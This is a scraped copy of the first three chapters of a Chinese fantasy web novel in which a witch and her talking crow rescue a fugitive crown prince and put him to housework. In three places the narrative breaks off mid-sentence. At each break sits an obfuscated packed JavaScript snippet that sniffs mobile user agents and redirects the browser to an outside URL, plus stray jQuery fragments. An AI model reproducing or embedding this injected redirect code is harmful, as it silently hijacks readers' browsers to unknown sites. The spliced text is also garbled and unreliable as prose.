《养成国王[西幻]》 1. 第 1 章 天空中一轮硕大的银月高悬,照亮了底下一望无际的森林。 黑夜送来静谧与安宁,是一天中最适合休息的时候。 然而匆匆忙忙的脚步声从森林深处传来,一个披着斗篷的女人面色惊慌地跨过低矮的灌木丛,踩着溪流上的鹅卵石一蹦一跳地渡过蜿蜒的河流,嘴里不断念叨着,“糟了糟了,要赶不上夜光花的花期了。” 女人的身旁飞着一只乌鸦,正追着她数落,“笨蛋梅拉,塞拉斯早早地就提醒过你,不要睡懒觉。” “可是梅拉不仅睡懒觉,还觉得好心提醒她起床的塞拉斯吵,给塞拉斯用了昏睡咒!” 于是直到银月升到最高空,塞拉斯和它的主人才一同自梦乡中猝然惊醒。 而此时,夜光花已经度过了它短暂的花期,即将面临凋谢。 披着斗篷的女人,也就是梅拉,现在没空和自己的宠物乌鸦斗嘴。眼见银月已经有了坠落的趋势,她急得脚下一个踉跄,被一块躲在草丛中的石头绊了一下。 因为动作的缘故,黑色的兜帽滑落,一头火红的卷发如瀑布般泻出,颜色浓艳得仿佛一团熊熊燃烧的火焰,将高空投下的银色月辉点燃,作为周身的点缀。 仿佛从油画中走出的女仙,难以用语言形容的美丽扑面而来。 然而下一秒,梅拉揪着围着自己乱转的塞拉斯,飞快的对它施加了一个变大咒语,手脚并用匆匆忙忙地爬到小山一样巨大的鸟背上,使唤道:“快飞,说不定我们还能赶上最后一刻!” 好吧,为了满足主人的愿望,塞拉斯只好快速地扇动翅膀,箭似的掠过广袤的森林上空,投下一片巨大的黑影。 在塞拉斯的努力下,梅拉跌跌撞撞地扑到花丛前,摘到了尚未完全凋谢的夜光花。 散发着幽蓝色荧光的小花,挨挨挤挤地铺满了梅拉挎在小臂上的篮子,意味着今晚她们总算没有白跑一趟。 “谢谢你,塞拉斯。”梅拉抱住塞拉斯的翅膀,整张脸都埋入暖烘烘的羽毛中,发出一声舒服的喟叹。 “梅拉,我刚刚好像看到有人进入了森林。”塞拉斯道。 “你有看清是什么人吗?”梅拉惊讶不已,“真稀奇,自从传出这里居住着邪恶的女巫和食人的巨兽后,我已经整整五年都没见过有人类敢踏入黑暗森林了。” 梅拉说的没错,所以塞拉斯在空中瞥到地面上不断移动的几个小黑点时,第一反应还以为自己眼花了。 等它定睛一看,发现是几个男人追着一个孩子。 不仅如此,“我看到男人们的手里还拿着武器,如果被追上了,那个孩子估计就完蛋了吧。” “梅拉,我们要去救那个孩子吗?”塞拉斯问道。 梅拉没有犹豫地点头,“去看看吧,如果这个孩子能在我们赶到前活下来的话,说明他命不该绝。” * “老大,我们还要继续追吗?刚刚飞过去的那个黑影,绝对是女巫养的吃人的巨兽吧。”一个男人面色惨白地看向小队的领头者,刚才巨大的黑影遮蔽天空时,他们虽然握着武器,却无一不吓得双腿发软,差点直接坐在了地上。 被他称作老大的男人沉着脸,一一扫过其他人同样畏惧的神情,最后决定到:“算了,不追了,莱克斯王子绝不可能在巨兽的嘴里活下来。” 闻言,其他人顿时如蒙大赦,飞快地退出了在夜里看起来格外阴森恐怖的黑暗森林。 而男人提到的莱克斯王子,正喘着粗气,拖着疲惫又沉重的身躯拼了命地往前跑,用尽全力摆脱身后的追击。 “呼哧呼哧。” 莱克斯跑不动了。 这具身体已经整整两天没有进食过任何食物了,又在先前的逃跑中不幸中了一箭,黏腻的鲜血铺满了大半个肩膀。 莱克斯能坚持到现在,全靠伤口不断传来的疼痛在提醒着他,不能停,否则一定会被那些人追上来杀掉。 不,他绝不能死,他还要活着回去替骑士长报仇,让仇人们痛苦的哀嚎响彻整个王都。 莱克斯咬了咬牙,唇边溢出一丝血腥,勉强振作了一点精神,却在下一秒不受控制地往前倒去。 莱克斯让隐藏在草丛中的石头狠狠一绊,直挺挺地摔到了地上。 糟糕,他得快点爬起来,莱克斯挣扎着起身,压根没有注意到身后已经不再传来追兵的脚步声。 然而无论莱克斯如何挣扎,他的身体已是强弩之末,不仅鼓不起一丁点力气,连眼皮都忍不住耷拉了下来。 困倦仿佛潮水般袭来,裹挟住莱克斯摇摇欲坠的神志,似乎要拖着他往深渊中沉溺。 不!莱克斯在心中高声呐喊,他不要睡过去! 在这样危急的关头,莱克斯想起了王室世代供奉的守护神,如果世上真的存在神明,能否于此刻伸手拯救他? 他愿意以努伦格尔的姓氏起誓,若他活下来,必会成为新王完成复仇,以牙还牙,以眼还眼,所有觊觎他王位的人,他都要让他们付出应有的代价。 作为报答,他会将自己拥有的一切献给神明,不管是整个王国的财富,还是至高无上的权力,亦或是其它,只要神明希望,他都心甘情愿双手奉上。 迷迷糊糊中,莱克斯感觉好像真有那么一双手抱住了他,它纤细、柔软,同时带着属于女性的馨香。 传说里英勇善战的守护神原来是位高贵的女神吗? 彻底昏迷前,这是莱克斯唯一的念头。 * “他居然真的活下来了诶。”变回普通乌鸦大小的塞拉斯跳到摇椅的扶手上,歪着脑袋打量浑身狼狈的莱克斯。 梅拉发现莱克斯还有呼吸后,就把人带回了位于森林深处的小木屋。 只是屋子里到处乱糟糟的,连落脚的地方都少得可怜。 不对,还有个地方没被用来堆积乱七八糟的杂物,那就是梅拉每天用来休息的宝贝摇椅。 好吧,人救都救了,梅拉便大方地让出摇椅,把莱克斯放了上去。 除此之外,梅拉还给莱克斯拔出了背上的箭。 她检查后发现箭镞上并没有带毒,只需要抹一层止血药粉就好了。 作为独自在黑暗森林生存,且凶名在外的女巫,梅拉制作魔药的手艺不容置疑,效果更是立竿见影。只见抹完止血药粉后,莱克斯身上的伤口很快止住了不断外流的鲜血。 止了血,莱克斯的脸色虽然依旧苍白,但总算没有继续糟糕下去了。 这样应该就好了吧?梅拉不确定的想。 为了保险,她又把莱克斯里里外外检查了好几遍,实在没有发现别的伤口了。 所以如果之后莱克斯醒不过来的话,那绝对不可能是梅拉的问题。 “梅拉,他的头发是金色的,他是努伦格尔王室的人。”塞拉斯突然大叫。 “生活在王国里的人有谁不知道金发是努伦格尔王室的象征吗?”梅拉淡定地反问。 就算是躺在摇篮里尚不知事的婴孩,也能从他们父母的嘴中得知唯有高贵的王室才能拥有如同金子一般的头发。 也就是塞拉斯跟着梅拉隐居黑暗森林太久,才会这会儿才反应过来。 “那万一等他醒过来,要喊王国的军队来抓我们怎么办。梅拉,你忘记我们为什么要搬到森林里来住了吗?”塞拉斯抖了一下翅膀,两颗豆豆眼挤在一起,陷入了回忆之中。 当塞拉斯还是只不小心从巢穴中掉到地上的雏鸟时,它就被梅拉捡回来当了宠物。 谢天谢地,塞拉斯虽然从树上的巢穴中摔了下来,却只断了几根骨头,这对梅拉来说不过是一瓶治愈药剂就能治好的小伤。 养好伤后,出于感恩的塞拉斯继续留下来充当梅拉的宠物。 那时他们住在一座名气不大的小镇上,梅拉则是镇子里最漂亮的姑娘,常常有追求者追到家门口,试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626444|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图引起梅拉的注意。 他们之中有人另辟蹊径,想尽了好话来夸塞拉斯,说梅拉养的这只乌鸦竟然偶尔会口吐人言,真是世上绝无仅有的聪明小鸟,也就只有梅拉才配养这样的宠物。 塞拉斯常常为此而洋洋自得。 没想到当梅拉暴露了女巫的身份后,追求者们却一转态度,称它为“女巫的魔宠”,它会口吐人言也成了曾经吃过人的象征——乌鸦可是会吃尸体的。 胡说!塞拉斯要替自己辩白,它明明是喝了梅拉炼制的魔药,才拥有了口吐人言的能力。 为了掩盖这份超乎寻常的能力,塞拉斯还特地装成了一只普通的乌鸦,顶多就是比普通小鸟显得更聪明一点而已。 但人们不相信女巫,更不相信她的宠物。 在教会的宣传中,女巫就是阴险恶毒、口蜜腹剑的代名词,她们喜怒无常,有可能上一秒还在与你逗笑,下一秒便诅咒你凄惨地死去。 是绝不能和平相处的邪恶角色。 听到封地里竟然有女巫出现,当地的领主忙不迭派出一队人马,打算将女巫绑了送上绞刑架。 最后梅拉不得已离开小镇,和塞拉斯躲进黑暗森林的深处,建起了这座小屋。 结果现在她把王室的人救回来了,那和自投罗网有什么区别? 帝国的每一任国王可都是在教会的认可下加冕的!也就是说,王族与女巫势不两立! “说不定国王的军队抓住我们之后,就会架起火堆,把我烧死,再把你做成烤乌鸦。”见塞拉斯如此害怕,梅拉忍不住恐吓它。 “那我们赶紧把他丢出去吧!丢得远远的!”塞拉斯果然被吓得差点从扶手上掉下来。 惹来梅拉一阵嘲笑,“放心吧,他如果真能喊来军队,为什么不让军队保护自己呢?” 还落到被人追杀的狼狈处境。 “再说了,国王的军队抓不住我们的。”梅拉抓过塞拉斯,安抚似的抚摸着它炸起的羽毛,“有你在,我们随时可以飞走啊。” 是哦,塞拉斯对自己还是很有信心的。 只要梅拉给它用上变大的咒语,它就能载着梅拉一下子飞出森林,飞越高山,飞过海洋,飞到所有人都找不到的秘境中去。 这样一想,国王的军队又有什么可怕的呢? 不过不管怎么说,“梅拉都是我见过的最心地善良,乐于助人,体贴温柔的女巫了!”塞拉斯又开始了每日必备的阿谀奉承,不对,真情实感的对主人的夸赞。 它一直认为自己能独得梅拉的宠爱,就与它的夸夸脱不开关系。 “好了,我知道,这种事实就没必要特意拿出来吹嘘了。”梅拉显然很吃塞拉斯这一套。 但是很快,梅拉想起自己拎回来的那一篮子夜光花。 夜光花有一个特性,被摘下来后每过一个小时,做成药剂的效果就要大打折扣。 她好不容易掐着点摘到这么多夜光花,就是为了得到最佳的药效,可不能浪费了。 “好了,你看着他,要是他醒了,你就叫一声。”梅拉把塞拉斯丢开手,自顾自的去忙了。 首先需要按照颜色深浅对夜光花进行分类,其次根据花瓣的大小,还可以将它们再分成好几组。 可别小看这一步,魔药的炼制容不得马虎,多0.01克的重量都有可能导致炼制失败。 当然,即使炼制时侥幸成功,出来的效果也可能大相径庭。 比如很有可能把塞拉斯从一只乌鸦变成一只青蛙。 对,夜光花正是变形药剂的重要材料。所以梅拉才如此重视。 她前不久可是和一位客人说好了,要在三天之后交出十瓶变形药剂的。 “你放心去忙吧,我绝对会看好他的。”塞拉斯挺起胸脯保证道。 接着它重新落到摇椅的扶手上,瞪着两只圆滚滚的黑豆眼,一动不动地盯着莱克斯恬静的睡颜。 2. 第 2 章 莱克斯是被窗外洒入的阳光叫醒的。 他甫一睁眼,就对上了一双圆滚滚的黑豆眼,差点吓得从摇椅上滚下来。 等他定睛一看,才发现黑豆眼的主人原来是只乌鸦。 不过这并不是一只普通的乌鸦,因为它竟然在莱克斯面前张嘴说话了。 “梅拉,他醒了!他醒了!”塞拉斯尽职尽责地向主人发出提醒。 “别吵。”梅拉正在用长柄的铁勺子把炼制好的魔药往造型古怪的陶罐里倒,连个眼神都懒得分给塞拉斯和莱克斯。 又来了,塞拉斯就知道,在梅拉心里,没有什么比她的魔药更重要。 它只好代替梅拉,继续盯着莱克斯的一举一动。 莱克斯像是被吓傻了,鹌鹑一样瑟缩在摇椅上,垂落的金发挡住了他的大半张脸,也把他不动声色的打量遮得严严实实。 莱克斯控制着眼珠的转动,缓慢地扫视了一圈周遭的环境。 这是一座在莱克斯眼里堪称简陋的木屋,唯一的一盏煤油灯随意挂在屋顶的房梁上,偶尔有风自屋外吹进来,它便开始左右摇晃,仿佛随时都能掉下来砸死人似的。 屋内到处是乱糟糟的,丢着一看就年代久远的羊皮书,针法精美的羊绒毯子,各种不知道装着什么东西的瓶瓶罐罐,以及正中央令人无法忽视的巨大的黑色的锅。 没有柴火,一层幽蓝色的荧火浮在锅底,让锅内不断浮出“咕嘟”“咕嘟”的声响。 而看起来大约二十多岁的女人站在锅前,一头红色卷发胡乱地披在身后,随着她俯身品尝勺子里的东西时,一大绺头发自然地滑落至胸前。 平心而论,她的长相比王都公认的美人,维尔娜公爵小姐还要美得多,皮肤白得像牛乳,五官的每一处线条都仿佛经过宫廷画师的精心设计。也只有画作上的人物,才能长得这般完美无缺。 莱克斯一不小心看得失神了。 视线长久地停留在她的身上。 于是理所当然地被梅拉发现了他的小动作。 梅拉朝莱克斯投来漫不经心的一瞥。 那是一双比长满水草的深水潭还要幽绿的眼睛,里头摇荡起晦暗不明的波光,简直摄人心魄。 莱克斯的目光顿时像是烫着了一般飞快收回来。 年轻漂亮独居此处的女人,拥有独一无二的会说话的乌鸦,她的身份登时在此刻呼之欲出:她就是传闻中那名居住在黑暗森林里的邪恶女巫。 莱克斯没想到他竟然落入了女巫的手中。 这可没比落入追兵手中好到哪里去。唯一值得庆幸的大概是他至少暂时捡回了一条命。 也不知道女巫把他带回来的用意是什么,难道是因为认出了他是王室的人所以特意报复? 从莱克斯的曾祖父开始,王国颁布了针对女巫的追捕令,一旦发现女巫的踪迹,当地的领主必须出兵将人绑回来在众目睽睽之下烧死。因此到了莱克斯的父亲登上王位后,女巫几乎在人群中销声匿迹。 毫无疑问,女巫们对造成这一切的王室定然怀恨在心。莱克斯的几位叔叔就是在女巫的诅咒中备受折磨地离开了人世。 现在轮到莱克斯自投罗网了。 想到这,莱克斯继续装作被吓得不轻的模样蜷缩在摇椅上,在没有能力正面对决的时候,示弱是个放松敌人警惕的好办法。 之后他总会找到机会逃跑的。 梅拉果然不再关注莱克斯,她皱着眉头回味刚才尝到的变形药剂的味道。 奇怪,尝起来有点腐朽了,明明她做过不少次类似的药剂,从没有出错。 到底是哪里出了问题? 梅拉的视线漫无目的地在屋子里游移,然后她就瞥见了堆在橱柜角落里的一个细颈瓶子,在它的身旁,一朵颜色鲜艳的蘑菇正招摇地生长着。 “塞拉斯!橱柜里为什么会长蘑菇!我都说了那个角落放的是独角兽的兽角骨粉,不能沾水!” 梅拉这下知道为什么刚煮出来的变形药剂尝起来有腐朽的味道了,因为加进去熬制的兽角骨粉沾了水变得潮湿,然后迅速地发霉了。 听见梅拉陡然拔高的音量,塞拉斯惊慌地扇了几下翅膀,羽毛都吓掉了几根。 “塞拉斯有按照梅拉的吩咐好好打扫橱柜,但翅膀实在比不上人手方便,羽毛有缝隙,扫过去的时候可能就漏掉了哪个地方吧……”塞拉斯期期艾艾地为自己解释道。 “所以你打算把这种打扫屋子的活计交给我来干?”梅拉抱臂挑眉,冷哼了一声。 虽然塞拉斯说的是事实没错,但梅拉每天可是很忙的,她要研究魔咒、采集各种稀奇古怪的材料来炼制魔药,怎么可能把宝贵的浪费时间在打扫屋子上。 “塞拉斯当然不是这个意思了!”塞拉斯两粒豆豆眼一转,重新对准了缩在摇椅上的莱克斯,“先前这座小木屋里只住着梅拉和塞拉斯,但现在有第三个人可以来分担塞拉斯的工作了。” 我?打扫屋子?一直偷听女巫和乌鸦说话的莱克斯忍不住瞪大眼睛,流露出极度的震惊与不敢置信。 莱克斯作为王储出生十二年,身边从来都是围绕着数十位仆人殷勤地替他打理杂务,别说打扫屋子了,他连毛毛掸子都没摸过! 如今一朝沦落到女巫手里,竟然要屈尊干仆人的活吗,简直耻辱至极。 梅拉听了塞拉斯的话,倒是很快露出一副若有所思的表情,她的目光同样落到莱克斯身上,“你叫什么名字?” “莱克斯。”面对女巫的问题,莱克斯倒是想装聋作哑,但一想到传闻中女巫残忍的手段,他还是忍着屈辱答道。 “那么为了报答我救了你的恩情,从今天起你就负责给我干活,先从打扫屋子开始吧。”梅拉愉快地宣布道。 * 纵使莱克斯心里有一万个不情愿,却不敢当场拒绝梅拉的要求,万一惹怒了梅拉,她不要他干活了,而是要拿他当炼制魔药的材料该怎么办。 梅拉不知道莱克斯心中的想法,也懒得知道,只要莱克斯能给她干活就行。 反正整座黑暗森林都是梅拉的地盘,莱克斯一个乳臭未干的小屁孩难道能翻出浪花来吗? 塞拉斯发出一阵聒噪的笑声,它一只乌鸦天天承担了所有的家务活,如今总算来了个倒霉蛋替它分担,它快乐开花了。 “别笑了,赶紧给我做早饭去。”梅拉制止了塞拉斯的幸灾乐祸,太阳都晒屁股了,她还没吃上今天的早餐。 塞拉斯闻言,立刻止住笑声,任劳任怨地挥舞着两扇黑漆漆的翅膀。一扇翅膀拿刀,一扇翅膀拿着洗干净的土豆,只见一阵银光闪烁之后,被切得大小不一的土豆块接二连三地掉进了锅里。 响起一连串的扑通声。 “等、等一下,这个锅不需要洗一洗吗?”莱克斯确定塞拉斯要用前不久才煮完魔药的锅来煮土豆后,终于忍不住主动开口。 如果他喝下这么一碗加了料的土豆汤,怕不是当场就要去世了吧。 “屋子里一共就这一口锅,凑合着用用算了。” 像是知道莱克斯在担心什么,梅拉云淡风轻地安慰他,“放心吧,变形药剂卖得可是很贵的,我已经把每一滴汁液都刮得干干净净,不可能有残留。” 言下之意就是,你喝到的绝对是最普通的土豆汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626445|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想喝加了料的?得花钱才行。 ……莱克斯并不想尝试这种莫名其妙的料理,好在最后喝到嘴里的浓汤虽然味道淡了一点,但并不古怪。 眼见莱克斯喝完了一整碗土豆浓汤,塞拉斯立刻扇着翅膀催促道:“好了,莱克斯,你该干活了。” “首先,你应该先把餐具给洗了。” 在塞拉斯的指挥下,莱克斯打来一桶清水,把刚刚用过的碗和勺子洗干净,然后晾在了木屋外的一块大石头上。 等到了晚上,自然的风与阳光已经带走上头的水分,就可以重新拿来盛晚餐了。 “接下来是打扫角落的灰尘。” 塞拉斯指挥莱克斯从木屋的某个角落里找出毛毛掸子,先甩干净上头原有的积灰,再拿来掸走各个缝隙处的灰尘,以及不知道什么时候结成的蛛网。 期间莱克斯不可避免的需要挪动梅拉随处堆放的物品。 “那个不许动!”梅拉原本正坐在书桌前,修一支不知为何没法正常书写了的羽毛笔,眼角的余光瞥到莱克斯的动作,立刻叫了起来。 “那本书是我好不容易从地下室里翻出来放在那的,你要是改变了它的位置,我就找不到了。” 闻言,莱克斯默默地把手里砖头一样厚重的书放回了原位。 “那张毯子也不许动!”下一秒,梅拉又叫了起来。 “那是我最喜欢用来发呆的位置,羊绒毯子可以拿一半垫着,再拿另一半披在身上。” 好吧,莱克斯只好又把羊绒毯子放了回去。 总之在梅拉这也不许动,那也不许动的命令中,莱克斯艰难地把屋子的每一处角落与久不见光的缝隙掸了个干净。 “唉,总算有人懂我过去经历的痛苦了。”看到莱克斯被梅拉指挥得团团转,塞拉斯突然对他升起了一丝好感,就好像看见了过去十年中勤勤恳恳伺候梅拉的自己。 “她总是喜欢把东西放得到处都是,还不准我乱动,可是不把东西挪开怎么打扫屋子?”塞拉斯压低了声音,悄悄和莱克斯抱怨道。 “最后要是哪里做的不好,她还要朝我乱发脾气。真是的,明明塞拉斯一点错都没有。” “塞拉斯——”梅拉拖长了尾调,沼泽一样幽绿的眼眸微微眯起,“你在和莱克斯说什么呢?是不是在悄悄说我的坏话?” “当然没有!”塞拉斯理直气壮地反驳,“我只是在教莱克斯怎么更好地打扫干净屋子,在不乱动梅拉东西的前提下。” “哦?是吗?”梅拉的目光移到莱克斯的脸上。 莱克斯垂下眼帘,保持了沉默。 既没说是,也没说不是。 看上去梅拉姑且相信了塞拉斯的话,不再追问这件事。 莱克斯听到塞拉斯在身旁轻轻吁出一口气。 到了晚上,为了奖励莱克斯对自己的帮助,塞拉斯特地给莱克斯多舀了一大勺土豆,“多吃点,你还受着伤呢,吃饱了才有力气恢复。” 这会儿塞拉斯倒是想起莱克斯身上还有伤了,下午那会儿它可是不留余力的在指使莱克斯干活。 好在女巫的止血药粉药效很好,加上莱克斯年轻,只要不施展大动作,就不会重新撕裂伤口。 莱克斯一边默默地吃着碗里的土豆,一边考虑着要不要在逃跑之前把女巫制作的止血药粉全都卷走,不管怎么说,这都是个货真价实的好东西。 等回去了,他说不定还能让宫廷药师们研究研究是否能复刻出同样的药膏来。 想到回去,莱克斯的眸光顿时一暗,也不知道为他引走追兵主力的骑士长现在如何了,是否侥幸逃脱,正到处寻找他的踪迹。 3. 第 3 章 “殿下,待会儿我来负责引开追兵,您就继续躲在这个树洞里。您放心,这个树洞很隐蔽,他们一定不会发现您的。” 即使面临如此危急的情况,骑士长切尔各的脸上却还保持着一如既往的镇定。 然而听到越来越近的马蹄声,切尔各不得不加快语速,嘱咐道:“不过树洞并不是久留之地,等您确认附近没有别的脚步声与马蹄声后,记得立刻掉头往回跑。如果我侥幸摆脱了追击,也会立刻回去找您的。” “好。”莱克斯郑重地点头,“你也要保重,一定要安全回来,切尔各。” 切尔各留给莱克斯一个熟悉的微笑,旋即起身,利落地翻身上马,头也不回地朝着另一个方向奔去。 很快,沉重的马蹄声来到附近,莱克斯能听到有不少人在树洞不远处走动,他不由得将呼吸放得更轻,连眼睛眨动的速度都放缓了,生怕被这些追兵发现自己就藏在这样一个仅仅靠灌木丛遮蔽住的树洞里。 然而正如切尔各所说,他为莱克斯寻找的这个藏身之处十分隐蔽,那些追兵压根没停下,一路朝着切尔各离开的方向追去。 随着声音越来越远,莱克斯又在树洞里呆了好一会儿,确认追兵们全都被切尔各留下的马蹄印引走后,才忙不迭扒拉开灌木丛跑出来,循着他与切尔各来时的路原路返回。 身为现任国王努伦格尔九世的长子,莱克斯还是头一回陷入如此狼狈的处境。 尽管在莱克斯六岁时,他的母亲万莱雅王后因病去世,他的父亲很快迎娶了新的王后,对他这个大儿子的事情漠不关心。但是作为王座的第一顺位继承人,没有任何人敢轻易慢待莱克斯。 因此莱克斯依旧享受着宫廷的锦衣玉食,由最睿智的宰相担当他的老师,最英勇的骑士长教习他武艺。 他亦不负众望,成长为了令人满意的王储。 然而三天前,继王后生下的小王子迎来了新生洗礼。 变故就发生在当天的晚宴上,莱克斯被歹人迷晕,带出了王宫,打算伪造出王储殿下因为贪玩偷溜出城然后不幸遇难的一幕。 幸好莱克斯消失一事被察觉不对的骑士长切尔各及时发现,他没有声张,悄悄地追查到宫外,最后成功把莱克斯从歹人手中救了下来。 还没等莱克斯与切尔各重新返回王宫,商量如何揭露继王后的阴谋,突然面对了来势汹汹的几百名追兵。 不出意料,他们也是继王后派出的人,势要在今晚彻底清除莱克斯这块阻扰她亲生儿子登上王位的绊脚石。 切尔各虽然勇武,能以一当十,但他还要护着莱克斯,没法保证安全的带着他逃出重围。 于是切尔各用劲一拉缰绳,调转方向,打算先躲过这波追击再说。 马儿跑了一天一夜,身后的追兵却丝毫没有减少。 莱克斯猜大概是因为继王后下了死命令,说不定还要求追兵带着他的人头回去复命不可。 “殿下,再这么逃下去,我们一定会被追上的。”切尔各道。 “那你说我们该怎么办?”莱克斯信任地问,无论待会儿切尔各提出怎样的办法,他都会答应。 事实上,莱克斯现在除了信任愿意舍命相护的切尔各外别无选择。 “您跟我来。”切尔各突然勒停胯/下强壮的黑马,带着莱克斯来到一处灌木丛前。 随着切尔各的动作,灌木丛被扒开,露出一个不大的树洞,想要容纳切尔各这样身材高壮的成年男人不容易,但像莱克斯这样还未开始拔高身量的少年,努努力蜷缩起身体还是能钻进去的。 切尔各让莱克斯躲进去,不要出声,自己则骑着马引开了追兵。 莱克斯一面跌跌撞撞地往回跑,一面暗自祈祷切尔各能够平安无事地甩脱追兵。 可惜命运的天平并未向莱克斯倾斜,他还没逃出多远,竟然就碰上了一小伙突然折返回来的追兵。 莱克斯瞥见他们的身影,立刻加快速度往杂草丛生的密林中跑,期冀能借助地形成功逃脱。 不幸中的万幸,这一小伙追兵没有骑马,只能骂骂咧咧地追在莱克斯的身后,还有人一个不慎,差点被地上的藤蔓绊倒。 莱克斯却不敢放松,哪怕跑着跑着喉咙里呛出了腥甜的味道,他也是咬紧了牙关,一步都不敢停。 可是双方的距离在逐渐缩短,莱克斯甚至不小心让乱飞的箭矢射中肩头,踉跄了一下,他的心底渐渐漫上了一股灰黑色的绝望,他真的能成功逃脱吗? 更令莱克斯绝望的是,他居然慌不择路地跑到了黑暗森林附近。 虽然都是密林,但黑暗森林不知为何常年笼罩在阴翳之中,哪怕只是靠近外围,都能感受到一阵令人忍不住发抖的寒意。 更别提传闻中黑暗森林中不仅栖息着无数猛兽,还住着邪恶的女巫与她豢养的食人巨兽。哪怕是王国最英勇的战士,也不敢孤身进入其中。 然而莱克斯没得选。 要么就此停下脚步被捉住,一定会死;要么闯入黑暗森林中,只要他不碰上女巫和巨兽,还能博得一线生机。 这么一想,莱克斯干脆眼睛一闭蒙头扎进黑暗森林之中。 银月高悬,可是浓重的黑暗如影随形,身后的脚步声更是逐渐靠近,追兵们锲而不舍,仿佛下一秒闪着寒光的刀尖就要照着他的身体劈下—— 莱克斯猛地睁眼,对上了木头搭建起的尖角屋顶,黑色的煤油灯被偶然途经的夜风吹动,一阵不大不小的摇晃声在静谧的夜里回荡。 除了被噩梦惊醒的莱克斯,屋里另外的一人一鸟依然睡得安恬。 莱克斯隐隐预约听到了遥远的兽吼,却并不担心真的有不长眼的野兽闯进这座木屋,在黑暗森林之中,再没有比女巫的家更安全的地方了。 也不知道切尔各怎么样了。 王城那边,宰相斐南基得知他与切尔各一起失踪的消息,是否正夜不能眠。 如果他不能尽快赶回去,在继王后的撺掇下,他的父王一定会迫不及待地把小儿子立为新的王储。到时候他再想夺回王位,就要比现在困难多了。 杂乱的念头在莱克斯脑中胡乱飞舞,像捉不住的萤火虫,哪怕他强迫自己闭上眼,眼前依旧一片荧光闪烁,难以入眠。 于是第二天,梅拉发现莱克斯看起来恹恹的,仿佛精神不太好的模样。 奇怪,按理说莱克斯的伤口正在恢复中,他应该越来越精神才对。 梅拉托着下巴想了半天,没想出个原因来。 “梅拉,梅拉,杜克瓦托又来找你交易啦。”塞拉斯大叫着朝梅拉飞来,爪子里还抓着一片,呃,一片宽大的树叶。 “我都跟杜克瓦托说过多少遍了,不要随便捡一片树叶就拿来糊弄我。要是叶子被虫子咬烂了,看不清上面的字迹,我就当从没有过这桩交易。到时候他拿不到东西,可不能赖到我头上。” 梅拉不耐烦地扯过树叶,“行了,我看看他这回又打算在我这买点什么。” “十瓶治愈药剂,还必须今晚就要?”梅拉惊诧不已,“他该不会受了很重的伤吧?” 要知道像莱克斯身上的箭伤都还不到需要用上治愈药剂的程度,杜克瓦托到底受了多重的伤才会一口气跟梅拉买下十瓶治愈药剂。 “天哪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626446|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”塞拉斯跟着叫起来,“杜克瓦托这是怎么了?他可千万不能有事啊。” 一旁的莱克斯目露疑惑,杜克瓦托是谁?听起来经常和女巫做交易,交情匪浅的样子。 像是什么危险人物。 毕竟一般人生了病或是受了伤只会去找药师或牧师求助,从没听说谁受伤了找女巫帮忙的。 “你说的没错,杜克瓦托可千万不能有事,他还欠着我整整三枚金币的债务,他死了我的钱该怎么办,就算我是女巫也没法从死神手里追债啊。” 说着,梅拉跑到靠墙的一整面橱柜前翻找起来,响起一阵瓶瓶罐罐碰撞在一起的声音。 “半瓶蒲公英粉末、三根魔芥兰的茎、六对蟾蜍耳朵、半罐清晨时分的露水……”梅拉怀抱着造型各异的瓶瓶罐罐,打开盖子,一股脑的全倒进了黑色的坩锅里。 “莱克斯,去给我打一桶溪水倒进来。”梅拉使唤道。 莱克斯只好提着桶往溪边走去。 好在离木屋不远处,就有一条潺潺流动的小溪,溪水很清澈,连水底的石头长什么样都能看得一清二楚。 莱克斯把打回来的满满一桶水倒进了锅里。 接着他就看到一层幽蓝色的荧火倏然亮起,差点燎到他的鞋子。 莱克斯吓得赶紧跳开,往地上跺了好几下脚。 “嘎嘎,”塞拉斯看到这一幕,忍不住乐出了声,“笨蛋莱克斯,这不是木头烧起来的那种火焰,不会烧着你的。” 莱克斯定睛一看,发现鞋子被燎到的部分还真没有烧过的痕迹。 这还真是不可思议。 莱克斯忍不住朝站在坩埚前,一脸平静地搅拌锅内材料,调配药剂的梅拉看去。 “看什么?”梅拉注意到他的视线,挑眉问道。 她还以为莱克斯又在担心吃到加了料的食物,“放心吧,治愈药剂的价格比变形药剂还贵,我可不舍得浪费任何一滴药水。” 不过,莱克斯身上也有伤,今天还一副蔫耷耷的样子,要不要煮好后给他也来一勺呢? 梅拉陷入沉思。 算了,谁让她是如此心地善良的女巫呢,就给莱克斯也来一勺治愈药水吧,虽然是加水稀释后的版本,但既然是免费的东西,就不要想着和花了钱的得到一样的药效了。 